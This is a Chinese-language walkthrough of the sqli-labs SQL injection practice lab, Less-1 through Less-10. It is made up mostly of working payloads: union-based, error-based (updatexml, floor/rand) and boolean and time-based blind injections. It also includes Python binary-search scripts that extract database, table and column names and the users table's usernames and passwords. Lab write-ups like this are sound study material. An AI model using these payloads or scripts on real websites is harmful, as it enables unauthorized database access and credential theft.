正常输入:
id=1
字符型注入
id=1' and 1='1
有数据
id=1' and 1='2
无数据
{当输入 and 1='1时,后台执行 Sql 语句: select * from <表名> where id = 'x' and 1='1' 语法正确,逻辑判断正确,所以返回正确。 当输入 and 1='2时,后台执行 Sql 语句: select * from where id = 'x' and 1='2' 语法正确,但逻辑判断错误,所以返回错误。}
报错,说明是字符型注入
我们输入的--+变成了--空格,此时--后面的语句被注释掉了,不会再执行
字段数
id=0' order by 1,2,3,4,5,6,7,8,9,10 --+
数据库
id=0' union SELECT 1,2,database() --+
获取所有的数据库
id=0' union SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
表
id=0' union SELECT 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
列名
id=0' union SELECT 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查询数据
id=0' union SELECT 1,2,group_concat(username) from users --+
查列数
id=1 order by 1,2,3,4,5
查数据库
id=0 union select 1,2,database() --+
或
id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
查表
id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段
id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
查数据
id=0 union select 1,2,group_concat(username) from users
闭合为('')
判断注入类型
id=1) and 1=1 --+
id=1) and 1=2 --+
以上两个payload都可以返回数据,说明不是数字型注入
id=1') and 1=1 --+
能返回数据
id=1') and 1=2 --+
不能返回数据
说明是字符型包含闭合的注入
查字段数
id=1') order by 1,2,3,4 --+
查数据库
id=0') union select 1,2, group_concat(schema_name) from information_schema.schemata --+
或
id=0') union select 1,2, database() --+
查表名
id=0') union select 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
查列名
id=0') union select 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查数据
id=0') union select 1,2,group_concat(username) from users --+
闭合方式("")
判断类型
双引号闭合
id=1") and 1=2 --+
查字段数
3个字段数
id=1") order by 1,2,3,4 --+
查数据库
id=0") union select 1,2, group_concat(schema_name) from information_schema.schemata --+
查询数据表
id=0") union select 1,2, group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
查询列名
id=0") union select 1,2, group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查询数据
id=0") union select 1,2, group_concat(username) from users--+
注入类型
id=1' and 1=1 --+
有数据
id=1' and 1=2 --+
无数据
单引号字符型盲注
脚本自动化
通过每一位的比较真假,得出每一位的字符。
id=1' and 1=if(ascii(substr(database(),1,1))>32,1,0)--+
手动太麻烦,直接上Python脚本:
import requests
url = "url/Less-5/?id=1' and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
r = requests.get(url + payload)
if "You are in" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
updatexml报错注入
id=1' and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+
重复报错
id=' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+
注入类型
id=1" and 1=1 --+
id=1" and 1=2 --+
双引号字符型盲注
自动化脚本
import requests
url = "url/Less-6/?id=1\" and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
updatexml注入
id=1" and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+
重复报错注入
id=" union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+
跟第五关的盲注一样,mysql_error()注释掉了,不能报错注入。
没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者这样就简单一点
?id=1' and ascii(substr((select database()),1,1))>64 %23
为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样
猜测数据库名字第一个字母:
?id=1' and ascii(substr((select database()),1,1))>114 --+
大于114时返回正确
?id=1' and ascii(substr((select database()),1,1))>115 --+
这时错误,说明ascii应该为115,即s,再接着推测第二个,然后可判断应该为security数据库,然后依次推出其他数据,比较麻烦。
?id=1' and left(database(),1)='s' --+
返回正确,可确定第一个字母为s.
猜数据库名第一个字母具体过程,使用二分法
1.?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
1.?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
2.?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
3.?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
4.?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
5.?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
6.?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
7.?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
盲注过程是漫长的,一般是自己写脚本或使用工具辅助
方法一:参考目录文章MySQL盲注:基于时间延迟注入(Sleep函数)
方法二:
?id=1' 其余与Less-10相同。
基础知识:
1.sleep(x): 执行后,睡眠x秒后执行。
2.if(a,b,c): 如果a正确,b执行否则c执行。
注入:
1.基于' 的时间盲注。
2.?id=1 ,?id=1' 发现不论对错不会回显且不会产生变化,采用时间盲注。
3.?id=1 and sleep(5) –+ ,?id=1' and sleep(5) --+ 判断闭合。
4.?id=1' and if(length(database())=7,1,sleep(5)) --+ ,判断数据库名长度。
5.?id=1' and if(substr(database(),1,1)='s' ,sleep(5),1) --+ ,判断数据库名。或 ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ ,判断数据库名。通过改变substr的步长来逐步猜测。
6.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,sleep(5),1) --+ ,判断表名。改变limit,substr步数逐步判断。
7.同理得到列名,账号密码。
1.基于 “ 的时间盲注。
2.?id=1” 其余与Less-9相同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length(database())=7,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 判断数据库名。通过改变substr的步长来逐步猜测。
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(5),1) --+,判断数据库
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =114,sleep(5),1) --+
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =114,sleep(5),1) --+